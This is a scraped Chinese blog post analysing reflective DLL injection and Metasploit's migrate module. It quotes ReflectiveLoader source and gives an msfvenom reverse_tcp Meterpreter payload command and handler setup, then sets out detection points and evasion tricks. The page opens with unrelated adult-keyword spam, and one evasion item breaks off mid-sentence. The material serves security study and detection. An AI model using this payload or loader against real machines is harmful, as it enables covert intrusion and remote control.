日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

[web安全]深入理解反射式dll注入技术

發(fā)布時間:2025/3/21 编程问答 51 豆豆
生活随笔 收集整理的這篇文章主要介紹了 [web安全]深入理解反射式dll注入技术 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

一、前言

dll注入技術(shù)是讓某個進程主動加載指定的dll的技術(shù)。惡意軟件為了提高隱蔽性,通常會使用dll注入技術(shù)將自身的惡意代碼以dll的形式注入高可信進程。

常規(guī)的dll注入技術(shù)使用LoadLibraryA()函數(shù)來使被注入進程加載指定的dll。常規(guī)dll注入的方式一個致命的缺陷是需要惡意的dll以文件的形式存儲在受害者主機上。這樣使得常規(guī)dll注入技術(shù)在受害者主機上留下痕跡較大,很容易被edr等安全產(chǎn)品檢測到。為了彌補這個缺陷,stephen fewer提出了反射式dll注入技術(shù)并在github開源,反射式dll注入技術(shù)的優(yōu)勢在于可以使得惡意的dll通過socket等方式直接傳輸?shù)侥繕?biāo)進程內(nèi)存并加載,期間無任何文件落地,安全產(chǎn)品的檢測難度大大增加。

本文將從dll注入技術(shù)簡介、msf migrate模塊剖析、檢測思路和攻防對抗的思考等方向展開說明反射式dll注入技術(shù)。

二、dll注入技術(shù)簡介

2.1 常規(guī)dll注入技術(shù)

常規(guī)dll注入有:

  • 通過調(diào)用CreateRemoteThread()/NtCreateThread()/RtlCreateUserThread()函數(shù)在被注入進程創(chuàng)建線程進行dll注入。
  • 通過調(diào)用QueueUserAPC()/SetThreadContext()函數(shù)來劫持被注入進程已存在的線程加載dll。
  • 通過調(diào)用SetWindowsHookEx()函數(shù)來設(shè)置攔截事件,在發(fā)生對應(yīng)的事件時,被注入進程執(zhí)行攔截事件函數(shù)加載dll。
  • 以使用CreateRemoteThread()函數(shù)進行dll注入的方式為例,實現(xiàn)思路如下:

  • 獲取被注入進程PID。
  • 在注入進程的訪問令牌中開啟SE_DEBUG_NAME權(quán)限。
  • 使用openOpenProcess()函數(shù)獲取被注入進程句柄。
  • 使用VirtualAllocEx()函數(shù)在被注入進程內(nèi)開辟緩沖區(qū)并使用WriteProcessMemory()函數(shù)寫入DLL路徑的字符串。
  • 使用GetProcAddress()函數(shù)在當(dāng)前進程加載的kernel32.dll找到LoadLibraryA函數(shù)的地址。
  • 通過CreateRemoteThread()函數(shù)來調(diào)用LoadLibraryA()函數(shù),在被注入進程新啟動一個線程,使得被注入進程進程加載惡意的DLL。
  • 常規(guī)dll注入示意圖如上圖所示。該圖直接從步驟3)開始,步驟1)和步驟2)不在贅述。

    【→所有資源關(guān)注我,私信回復(fù)“資料”獲取←】
    1、網(wǎng)絡(luò)安全學(xué)習(xí)路線
    2、電子書籍(白帽子)
    3、安全大廠內(nèi)部視頻
    4、100份src文檔
    5、常見安全面試題
    6、ctf大賽經(jīng)典題目解析
    7、全套工具包
    8、應(yīng)急響應(yīng)筆記

    2.2 反射式dll注入技術(shù)

    反射式dll注入與常規(guī)dll注入類似,而不同的地方在于反射式dll注入技術(shù)自己實現(xiàn)了一個reflective loader()函數(shù)來代替LoadLibaryA()函數(shù)去加載dll,示意圖如下圖所示。藍(lán)色的線表示與用常規(guī)dll注入相同的步驟,紅框中的是reflective loader()函數(shù)行為,也是下面重點描述的地方。

    Reflective loader實現(xiàn)思路如下:

  • 獲得被注入進程未解析的dll的基地址,即下圖第7步所指的dll。
  • 獲得必要的dll句柄和函數(shù)為修復(fù)導(dǎo)入表做準(zhǔn)備。
  • 分配一塊新內(nèi)存去取解析dll,并把pe頭復(fù)制到新內(nèi)存中和將各節(jié)復(fù)制到新內(nèi)存中。
  • 修復(fù)導(dǎo)入表和重定向表。
  • 執(zhí)行DllMain()函數(shù)。
  • 三、Msf migrate模塊剖析

    msf的migrate模塊是post階段的一個模塊,其作用是將meterpreter payload從當(dāng)前進程遷移到指定進程。

    在獲得meterpreter session后可以直接使用migrate命令遷移進程,其效果如下圖所示:

    migrate的模塊的實現(xiàn)和stephen fewer的ReflectiveDLLInjection項目大致相同,增加了一些細(xì)節(jié),其實現(xiàn)原理如下:

  • 讀取metsrv.dll(metpreter payload模板dll)文件到內(nèi)存中。
  • 生成最終的payload。a) msf生成一小段匯編migrate stub主要用于建立socket連接。b) 將metsrv.dll的dos頭修改為一小段匯編meterpreter_loader主要用于調(diào)用reflective loader函數(shù)和dllmain函數(shù)。在metsrv.dll的config block區(qū)填充meterpreter建立session時的配置信息。c) 最后將migrate stub和修改后的metsrv.dll拼接在一起生成最終的payload。
  • 向msf server發(fā)送migrate請求和payload。
  • msf向遷移目標(biāo)進程分配一塊內(nèi)存并寫入payload。
  • msf首先會創(chuàng)建的遠(yuǎn)程線程執(zhí)行migrate stub,如果失敗了,就會嘗試用apc注入的方式執(zhí)行migrate stub。migrate stub會調(diào)用meterpreter loader,meterpreter loader才會調(diào)用reflective loader。
  • reflective loader進行反射式dll注入。
  • 最后msf client和msf server建立一個新的session。
  • 原理圖如下所示:

    圖中紅色的線表示與常規(guī)反射式dll注入不同的地方。紅色的填充表示修改內(nèi)容,綠色的填充表示增加內(nèi)容。migrate模塊的reflective loader是直接復(fù)用了stephen fewer的ReflectiveDLLInjection項目的ReflectiveLoader.c中的ReflectiveLoader()函數(shù)。下面我們主要關(guān)注reflective loader的行為。

    3.1 靜態(tài)分析3.1.1 獲取dll基地址

    ReflectiveLoader()首先會調(diào)用caller()函數(shù)

    uiLibraryAddress = caller();

    caller()函數(shù)實質(zhì)上是_ReturnAddress()函數(shù)的封裝。caller()函數(shù)的作用是獲取caller()函數(shù)的返回值,在這里也就是ReflectiveLoader()函數(shù)中調(diào)用caller()函數(shù)的下一條指令的地址。

    #ifdef MINGW32
    #define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
    #else
    #pragma intrinsic(_ReturnAddress)
    #define WIN_GET_CALLER() _ReturnAddress()
    #endif
    __declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)WIN_GET_CALLER(); }

    然后,向低地址逐字節(jié)比較是否為為dos頭的標(biāo)識MZ字串,若當(dāng)前地址的內(nèi)容為MZ字串,則把當(dāng)前地址認(rèn)為是dos頭結(jié)構(gòu)體的開頭,并校驗dos頭e_lfanew結(jié)構(gòu)成員是否指向pe頭的標(biāo)識”PE”字串。若校驗通過,則認(rèn)為當(dāng)前地址是正確的dos頭結(jié)構(gòu)體的開頭。

    while( TRUE )
    {
    //將當(dāng)前地址當(dāng)成dos頭結(jié)構(gòu),此結(jié)構(gòu)的e_magic成員變量是否指向MZ子串
    if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
    {
    uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
    if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
    {
    uiHeaderValue += uiLibraryAddress;
    //判斷e_lfanew結(jié)構(gòu)成員是否指向PE子串,是則跳出循環(huán),取得未解析dll的基地址
    if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
    break;
    }
    }
    uiLibraryAddress–;
    }

    3.1.2 獲取必要的dll句柄和函數(shù)地址

    獲取必要的dll句柄是通過遍歷peb結(jié)構(gòu)體中的ldr成員中的InMemoryOrderModuleList鏈表獲取dll名稱,之后算出dll名稱的hash,最后進行hash對比得到最終的hash。

    iBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
    uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
    while( uiValueA )
    {
    uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
    usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
    uiValueC = 0;
    ULONG_PTR tmpValC = uiValueC;
    //計算tmpValC所指向子串的hash值,并存儲在uiValueC中

    if( (DWORD)uiValueC == KERNEL32DLL_HASH )

    必要的函數(shù)是遍歷函數(shù)所在的dll導(dǎo)出表獲得函數(shù)名稱,然后做hash對比得到的。

    uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
    uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
    uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
    uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
    uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
    uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
    usCounter = 3;
    while( usCounter > 0 )
    {
    dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
    if( dwHashValue == LOADLIBRARYA_HASH
    //等于其他函數(shù)hash的情況
    || …
    )
    {
    uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
    uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
    if( dwHashValue == LOADLIBRARYA_HASH )
    pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
    //等于其他函數(shù)hash的情況

    usCounter–;
    }
    uiNameArray += sizeof(DWORD);
    uiNameOrdinals += sizeof(WORD);
    }
    }

    3.1.3 將dll映射到新內(nèi)存

    Nt optional header結(jié)構(gòu)體中的SizeOfImage變量存儲著pe文件在內(nèi)存中解析后所占的內(nèi)存大小。所以ReflectiveLoader()獲取到SizeOfImage的大小,分配一塊新內(nèi)存,然后按照section headers結(jié)構(gòu)中的文件相對偏移和相對虛擬地址,將pe節(jié)一一映射到新內(nèi)存中。

    //分配SizeOfImage的新內(nèi)存
    uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );

    uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
    uiValueB = uiLibraryAddress;
    uiValueC = uiBaseAddress;
    //將所有頭和節(jié)表逐字節(jié)復(fù)制到新內(nèi)存
    while( uiValueA-- )
    *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
    //解析每一個節(jié)表項
    uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
    uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
    while( uiValueE-- )
    {
    uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
    uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
    uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
    //將每一節(jié)的內(nèi)容復(fù)制到新內(nèi)存對應(yīng)的位置
    while( uiValueD-- )
    *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
    uiValueA += sizeof( IMAGE_SECTION_HEADER );
    }

    3.1.4 修復(fù)導(dǎo)入表和重定位表

    首先更具導(dǎo)入表結(jié)構(gòu),找到導(dǎo)入函數(shù)所在的dll名稱,然后使用loadlibary()函數(shù)載入dll,根據(jù)函數(shù)序號或者函數(shù)名稱,在載入的dll的導(dǎo)出表中,通過hash對比,并把找出的函數(shù)地址寫入到新內(nèi)存的IAT表中。

    uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
    uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
    //當(dāng)沒有到達(dá)導(dǎo)入表末尾時
    while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics )
    {
    //使用LoadLibraryA()函數(shù)加載對應(yīng)的dll
    uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );

    uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
    //IAT表
    uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
    while( DEREF(uiValueA) )
    {
    //如果導(dǎo)入函數(shù)是通過函數(shù)編號導(dǎo)入
    if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
    { //通過函數(shù)編號索引導(dǎo)入函數(shù)所在dll的導(dǎo)出函數(shù)
    uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
    uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
    uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
    uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
    uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
    //將對應(yīng)的導(dǎo)入函數(shù)地址寫入IAT表
    DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
    }
    else
    {
    //導(dǎo)入函數(shù)通過名稱導(dǎo)入的
    uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
    DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
    }
    uiValueA += sizeof( ULONG_PTR );
    if( uiValueD )
    uiValueD += sizeof( ULONG_PTR );
    }
    uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
    }

    重定位表是為了解決程序指定的imagebase被占用的情況下,程序使用絕對地址導(dǎo)致訪問錯誤的情況。一般來說,在引用全局變量的時候會用到絕對地址。這時候就需要去修正對應(yīng)內(nèi)存的匯編指令。

    uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
    uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
    //如果重定向表的值不為0,則修正重定向節(jié)
    if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
    {
    uiValueE = ((PIMAGE_BASE_RELOCATION)uiValueB)->SizeOfBlock;
    uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
    while( uiValueE && ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
    {
    uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
    uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
    uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
    //根據(jù)不同的標(biāo)識,修正每一項對應(yīng)地址的值
    while( uiValueB-- )
    {
    if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
    *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
    else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
    *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
    else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
    *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
    else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
    *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
    uiValueD += sizeof( IMAGE_RELOC );
    }
    uiValueE -= ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
    uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
    }
    }

    3.2 動態(tài)調(diào)試

    本節(jié)一方面是演示如何實際的動態(tài)調(diào)試msf的migrate模塊,另一方面也是3.1.1的一個補充,從匯編層次來看3.1.1節(jié)會更容易理解。

    首先用msfVENOM生成payload

    msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.75.132 lport=4444 -f exe -o msf.exe

    并使用msfconsole設(shè)置監(jiān)聽

    msf6 > use exploit/multi/handler

    Using configured payload generic/shell_reverse_tcp
    msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcppayload => windows/x64/meterpreter/reverse_tcp
    msf6 exploit(multi/handler) > set lhost 0.0.0.0
    lhost => 0.0.0.0
    msf6 exploit(multi/handler) > exploit

    Started reverse TCP handler on 0.0.0.0:4444

    之后在受害機使用windbg啟動msf.exe并且

    bu KERNEL32!CreateRemoteThread;g

    獲得被注入進程新線程執(zhí)行的地址,以便調(diào)試被注入進程。

    當(dāng)建立session連接后,在msfconsole使用migrate命令

    igrate 5600 //5600是要遷移的進程的pid

    然后msf.exe在CreateRemoteThread函數(shù)斷下,CreateRemoteThread函數(shù)原型如下

    HANDLE CreateRemoteThread(
    [in] HANDLE hProcess,
    [in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
    [in] SIZE_T dwStackSize,
    [in] LPTHREAD_START_ROUTINE lpStartAddress,
    [in] LPVOID lpParameter,
    [in] DWORD dwCreationFlags,
    [out] LPDWORD lpThreadId
    );

    所以我們要找第四個參數(shù)lpStartAddress的值,即r9寄存器的內(nèi)容,

    使用

    address 000001c160bb0000

    去notepad進程驗證一下,是可讀可寫的內(nèi)存,基本上就是對的

    此時的地址是migrate stub匯編代碼的地址,我們期望直接斷在reflective loader的函數(shù)地址,我們通過

    -a 000001c160bb0000 L32000 MZ //000001c160bb0000為上面的lpStartAddress,3200為我們獲取到的內(nèi)存塊大小

    直接去搜MZ字串定位到meterpreter loader匯編的地址,進而定位到reflective loader的函數(shù)地址

    meterpreter loader將reflective loader函數(shù)的地址放到rbx中,所以我們可直接斷在此處,進入reflective loader的函數(shù),如下圖所示

    reflective loader首先call 000001c1`60bb5dc9也就是caller()函數(shù),caller()函數(shù)的實現(xiàn)就比較簡單了,一共兩條匯編指令,起作用就是返回下一條指令的地址

    在這里也就是0x000001c160bb5e08

    獲得下一條指令后的地址后,就會比較獲取的地址的內(nèi)容是否為MZ如果不是的話就會把獲取的地址減一作為新地址比較,如果是的話,則會比較e_lfanew結(jié)構(gòu)成員是否指向PE,若是則此時的地址作為dll的基地址。后面調(diào)試過程不在贅述。

    四、檢測方法

    反射式dll注入技術(shù)有很多種檢測方法,如內(nèi)存掃描、IOA等。下面是以內(nèi)存掃描為例,我想到的一些掃描策略和比較好的檢測點。

    \

    掃描策略:

  • Hook敏感api,當(dāng)發(fā)生敏感api調(diào)用序列時,對注入進程和被注入進程掃描內(nèi)存。
  • 跳過InMemoryOrderModuleList中的dll。
  • 檢測點多是跟reflective loader函數(shù)的行為有關(guān),檢測點如下:

  • 強特征匹配_ReturnAddress()的函數(shù)。Reflectiveloader函數(shù)定位dos頭的前置操作就是調(diào)用調(diào)用_ReturnAddress()函數(shù)獲得當(dāng)前dll的一個地址。
  • 掃描定位pe開頭位置的代碼邏輯。詳見3.1節(jié),我們可以弱匹配此邏輯。
  • 掃描特定的hash函數(shù)和hash值。在dll注入過程中,需要許多dll句柄和函數(shù)地址,所以不得不使用hash對比dll名稱和函數(shù)名稱。我們可以匹配hash函數(shù)和這些特殊的hash值。
  • 從整體上檢測dll注入。在被注入進程其實是存在兩份dll文件,一份是解析前的原pe文件,一份是解析后的pe文件。我們可以檢測這兩份dll文件的關(guān)系來確定是反射式dll注入工具。
  • 深信服云主機安全保護平臺CWPP能夠有效檢測此類利用反射式DLL注入payload的無文件攻擊技術(shù)。檢測結(jié)果如圖所示:

    五、攻防對抗的思考

    對于標(biāo)準(zhǔn)的反射dll注入是有很多種檢測方式的,主要是作者沒有刻意的做免殺,下面對于我搜集到了一些免殺方式,探討一下其檢測策略。

  • 避免直接調(diào)用敏感api 。例如不直接調(diào)用writeprocessmemory等函數(shù),而是直接用syscall調(diào)用。這種免殺方式只能繞過用戶態(tài)的hook。對于內(nèi)核態(tài)hook可以解這個問題。
  • dll在內(nèi)存中的rwx權(quán)限進行了去除,變成rx。其實有好多粗暴的檢測反射式dll注入的攻擊方式,就是檢測rwx權(quán)限的內(nèi)存是否為pe文件。
  • 擦除nt頭和dos頭。這種免殺方式會直接讓檢測點4)影響較大,不能簡單的校驗pe頭了,需要加入更精確的確定兩個dll的文件,比如說,首先通過讀取未解析的dll的SizeOfImage的大小,然后去找此大小的內(nèi)存塊,然后對比代碼段是否一致,去判斷是否為同一pe文件。
  • 抹除未解析pe文件的內(nèi)存。這種免殺方式會導(dǎo)致檢測點4)徹底失效,這種情況下我們只能對reflectiveloader()函數(shù)進行檢測。
  • 抹除reflectiveloader()函數(shù)的內(nèi)存。這里就比較難檢測了。但是也是有檢測點的,這里關(guān)鍵是如何確定這塊內(nèi)存是pe結(jié)構(gòu),重
  • 總結(jié)

    以上是生活随笔為你收集整理的[web安全]深入理解反射式dll注入技术的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。